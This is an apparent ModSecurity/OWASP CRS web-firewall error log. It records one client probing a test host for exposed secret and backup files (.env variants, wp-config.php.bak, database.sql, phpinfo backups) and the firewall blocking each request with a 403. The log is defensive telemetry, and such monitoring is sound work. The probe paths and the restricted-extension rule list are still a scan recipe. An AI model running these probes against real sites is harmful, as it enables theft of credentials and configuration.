[Sun Nov 30 15:25:16.263135 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfXwAAAAM&quot;]
[Sun Nov 30 15:25:16.711776 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfYQAAAAM&quot;]
[Sun Nov 30 15:25:16.712129 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfYQAAAAM&quot;]
[Sun Nov 30 15:25:16.712356 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfYQAAAAM&quot;]
[Sun Nov 30 15:25:16.936747 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.2&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfYgAAAAM&quot;]
[Sun Nov 30 15:25:16.936990 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfYgAAAAM&quot;]
[Sun Nov 30 15:25:16.937213 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfYgAAAAM&quot;]
[Sun Nov 30 15:25:17.836739 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSxTzUR0pJY8_qkvKEEfZgAAAAM&quot;]
[Sun Nov 30 15:25:17.836964 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSxTzUR0pJY8_qkvKEEfZgAAAAM&quot;]
[Sun Nov 30 15:25:17.837162 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSxTzUR0pJY8_qkvKEEfZgAAAAM&quot;]
[Sun Nov 30 15:25:18.286714 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfaAAAAAM&quot;]
[Sun Nov 30 15:25:18.286907 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfaAAAAAM&quot;]
[Sun Nov 30 15:25:18.287161 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfaAAAAAM&quot;]
[Sun Nov 30 15:25:18.287382 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfaAAAAAM&quot;]
[Sun Nov 30 15:25:18.512248 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfaQAAAAM&quot;]
[Sun Nov 30 15:25:18.512593 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfaQAAAAM&quot;]
[Sun Nov 30 15:25:18.512804 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfaQAAAAM&quot;]
[Sun Nov 30 15:25:18.962394 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfawAAAAM&quot;]
[Sun Nov 30 15:25:18.962618 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfawAAAAM&quot;]
[Sun Nov 30 15:25:18.962830 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aSxTzkR0pJY8_qkvKEEfawAAAAM&quot;]
[Sun Nov 30 15:25:19.412123 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aSxTz0R0pJY8_qkvKEEfbQAAAAM&quot;]
[Sun Nov 30 15:25:19.412465 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aSxTz0R0pJY8_qkvKEEfbQAAAAM&quot;]
[Sun Nov 30 15:25:19.412664 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aSxTz0R0pJY8_qkvKEEfbQAAAAM&quot;]
[Sun Nov 30 15:25:19.864064 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aSxTz0R0pJY8_qkvKEEfbwAAAAM&quot;]
[Sun Nov 30 15:25:19.864404 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aSxTz0R0pJY8_qkvKEEfbwAAAAM&quot;]
[Sun Nov 30 15:25:19.864609 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aSxTz0R0pJY8_qkvKEEfbwAAAAM&quot;]
[Sun Nov 30 15:25:20.088483 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcAAAAAM&quot;]
[Sun Nov 30 15:25:20.088708 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcAAAAAM&quot;]
[Sun Nov 30 15:25:20.088916 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcAAAAAM&quot;]
[Sun Nov 30 15:25:20.313543 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id 